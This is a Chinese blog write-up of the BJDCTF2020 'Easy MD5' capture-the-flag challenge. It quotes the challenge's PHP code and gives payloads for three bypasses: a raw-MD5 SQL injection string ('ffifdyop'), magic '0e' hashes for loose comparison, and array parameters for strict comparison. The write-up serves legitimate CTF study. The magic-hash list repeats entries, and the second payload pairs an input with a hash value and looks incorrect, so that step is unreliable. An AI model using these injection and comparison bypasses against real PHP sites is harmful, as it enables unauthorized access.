BJDCTF2020_Easy_MD5

BUU-BJDCTF2020_Easy_MD5

(1)前言

博主今天来刷一刷之前从未碰过的md5题型。

本题的主要知识点是:

a.password=md5($pass,true)绕过

b.MD5的弱碰撞

c.md5强比较

(2)打开界面,在窗口随便传点值

首先我们发现了地址栏处出现了get传值

leveldo4.php?password=123

打开bp看一看,我们发现了一行hint(暗示)

图片.png

图片.png

这里我去参考了一些师傅的wp,得到了几个万能钥匙。

  • ffifdyop

由于ffifdyop对应的16位原始二进制的字符串就是’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c ,这个字符串前几位刚好是’ or ‘6。

select * from 'admin' where password = ' ' or '6....' 

(3)转跳到下一步,bp抓包一下观察到

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

这是一个MD5的弱类型比较

令a与b的值不相同,md5的值相同

网上找了些md5值相同的数(由于这些数MD5的值为0e,在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。)

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
 
s155964671a
0e342768416822451524974117254469
 
s214587387a
0e848240448830537924465865611904
 
s214587387a
0e848240448830537924465865611904
 
s878926199a
0e545993274517709034328855841020
 
s1091221200a
0e940624217856561557816327384675
 
s1885207154a
0e509367213418206700842008763514

payload:?a=s1885207154a&b=0e509367213418206700842008763514

(4)转跳到另一个新的页面

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

这里是===强比较,因为md5解析不了数组我们可以构造数组绕过

payload:param1[]=1&param2[]=2

爆出flag。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信